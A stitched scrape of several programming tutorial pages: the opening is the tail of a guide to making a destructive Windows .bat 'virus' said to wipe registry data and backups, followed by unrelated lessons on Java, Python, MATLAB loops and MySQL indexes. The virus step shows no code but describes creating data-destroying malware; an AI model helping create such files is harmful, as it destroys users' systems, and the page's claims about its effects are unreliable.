Step 4: After typing in all the code save the file with the name of your choice. But remember to save the file with .bat extension.
The Virus has been Successfully Created by you but this will only work when it is opened by the user once.
To resolve this issue the user must Reinstall the Operating System. No other Option will work in this situation because this will also delete the Backup kept in the Computer.
Disclaimer: GeeksforGeeks does not support the spread of ransomware/viruses and if you intend to use this information for malicious purposes, we are in no way responsible. This information is intended to be used for educational purposes only. If the virus file is clicked or opened by the user, resultantly all the registry data in the system will be wiped clean.
How To
TechTips
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
How to Install FFmpeg on Windows?
How to Set Git Username and Password in GitBash?
How to Add External JAR File to an IntelliJ IDEA Project?
How to Install Jupyter Notebook on MacOS?
How to Check the OS Version in Linux?
How to Run a Python Script using Docker?
Docker - COPY Instruction
Running Python script on GPU.
Setting up the environment in Java
How to setup cron jobs in Ubuntu
How to count the number of lines in a text file using Java?

To count the number of lines in a file
Instantiate the FileInputStream class by passing an object of the required file as parameter to its constructor.
Read the contents of the file to a bytearray using the read() method of FileInputStream class.
Instantiate a String class by passing the byte array obtained, as a parameter its constructor.
Now, split the above string into an array of strings using the split() method by passing the regular expression of the new line as a parameter to this method.
Now, find the length of the obtained array.
import java.io.File;
import java.io.FileInputStream;
public class NumberOfCharacters {
   public static void main(String args[]) throws Exception{
   
      File file = new File("data");
      FileInputStream fis = new FileInputStream(file);
      byte[] byteArray = new byte[(int)file.length()];
      fis.read(byteArray);
      String data = new String(byteArray);
      String[] stringArray = data.split("\r\n");
      System.out.println("Number of lines in the file are ::"+stringArray.length);
   }
}
Number of lines in the file are ::3
Check whether triangle is valid or not if sides are given in Python

Suppose we have three sides. We have to check whether these three sides are forming a triangle or not.
So, if the input is like sides = [14,20,10], then the output will be True as 20 < (10+14).
To solve this, we will follow these steps −
sort the list sides
if sum of first two sides <= third side, thenreturn False
return False
return True
Let us see the following implementation to get better understanding −
Live Demo
def solve(sides):
   sides.sort()
   if sides[0] + sides[1] <= sides[2]:
      return False
   return True

sides = [14,20,10]
print(solve(sides))
[14,20,10]

True
MATLAB - Loops - GeeksforGeeks

13 May, 2021
MATLAB stands for Matrix Laboratory. It is a high-performance language that is used for technical computing. It was developed by Cleve Molar of the company MathWorks.Inc in the year 1984.It is written in C, C++, Java. It allows matrix manipulations, plotting of functions, implementation of algorithms and creation of user interfaces.
While Loop: While loop works same as it does in other common languages like python, java etc. But here syntax varies from language to language. While loop is used to execute a block of statements repeatedly until a given a condition is satisfied. And when the condition becomes false, the line immediately after the loop in program is executed.
Syntax:
while expression
    statements
end
Example 1:
Matlab
%MATLAB code to illustrate %for loop count=0; while (count < 3)       fprintf('Hello From GeekforGeeks\n');    count=count+1; end
  Output:
Hello From GeekforGeeks
Hello From GeekforGeeks
Hello From GeekforGeeks
For Loop: For loops are used for sequential traversal. As syntax varies from language to language. Let us learn how to use for loop for sequential traversals.
Syntax:
for initial value:step value:final value
   statements
end
or
for initial value:final value   
   statements 
end 
Example 2
Matlab
%MATLAB code to illustrate %for loop for i = 1:5    fprintf('%d ',i) end
Output:
1 2 3 4 5
Example 3
Matlab
%MATLAB code to illustrate %for loop for i = 1:2:5    fprintf('%d ',i) end
Output: 
1 3 5
We have one more way of using for loop, that is used to access array elements. Here we assign an array directly to the for loop to access its elements through the iterator variable (i.e., i or j etc).
Example 4 
Matlab
%for iterator_vairable = array for i =[1 2 3 4]    fprintf('%d ',i) end
Output: 
1 2 3 4
Iterating through strings is same as iterating through a range of numbers. Here we use length() function to provide final value in for loop, and we can also use disp() function to print the output.
Example 5 
Matlab
%MATLAB code to illustrate %how to iterate through strings String = 'GeeksforGeeks' for i = 1:length(String)    fprintf('%c ',String(i))    %disp(String(i)) end
Output: 
G e e k s f o r G e e k s
 
simranarora5sos
MATLAB
Advanced Computer Subject
Programming Language
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
ML | Stochastic Gradient Descent (SGD)
Copying Files to and from Docker Containers
Principal Component Analysis with Python
ML | Principal Component Analysis(PCA)
ML | Types of Learning – Supervised Learning
Modulo Operator (%) in C/C++ with Examples
Differences between Procedural and Object Oriented Programming
Structures in C++
Arrow operator -> in C/C++ with Examples
Top 10 Programming Languages to Learn in 2022
How to open a binary file in read and write mode with Python?

To open binary files in binary read/write mode, specify 'w+b' as the mode(w=write, b=binary). For example,
f = open('my_file.mp3', 'w+b')
file_content = f.read()
f.write(b'Hello')
f.close()
Above code opens my_file.mp3 in binary read/write mode, stores the file content in file_content variable and rewrites the file to contain "Hello" in binary. You can also use r+mode as it doesn't truncate the file.
MySQL Composite Index

A composite index is an index that is used on multiple columns. It is also known as a multiplecolumn index.
Let us see the features −
MySQL allows the user to create a composite index which can consist of up to 16 columns.
MySQL allows the user to create a composite index which can consist of up to 16 columns.
The query optimizer uses the composite indexes for queries which will test all columns in the index.
The query optimizer uses the composite indexes for queries which will test all columns in the index.
It can also be used for queries which will test the first columns, the first two columns, and so on.
It can also be used for queries which will test the first columns, the first two columns, and so on.
If the columns are specified in the right order in the index definition, a single composite index can be used that would speed up certain kinds of queries on the same table.
If the columns are specified in the right order in the index definition, a single composite index can be used that would speed up certain kinds of queries on the same table.
Let us see how a composite index can be created, during the creation of a table. It can be done using the below statement −
CREATE TABLE table_name (
   c1 data_type PRIMARY KEY,
   c2 data_type,
   c3 data_type,
   c4 data_type,
   INDEX index_name (c2,c3,c4)
);
In the above statement, the composite index consists of three columns c2, c3, and c4.
A composite index can also be added into an existing table using the ‘CREATE INDEX’ statement. Let us see how this can be done
CREATE INDEX index_name
ON table_name(c2,c3,c4);
If there is a composite index on (c1,c2,c3), then the user would have indexed search capabilities on one the below mentioned column combinations −
(c1)
(c1,c2)
(c1,c2,c3)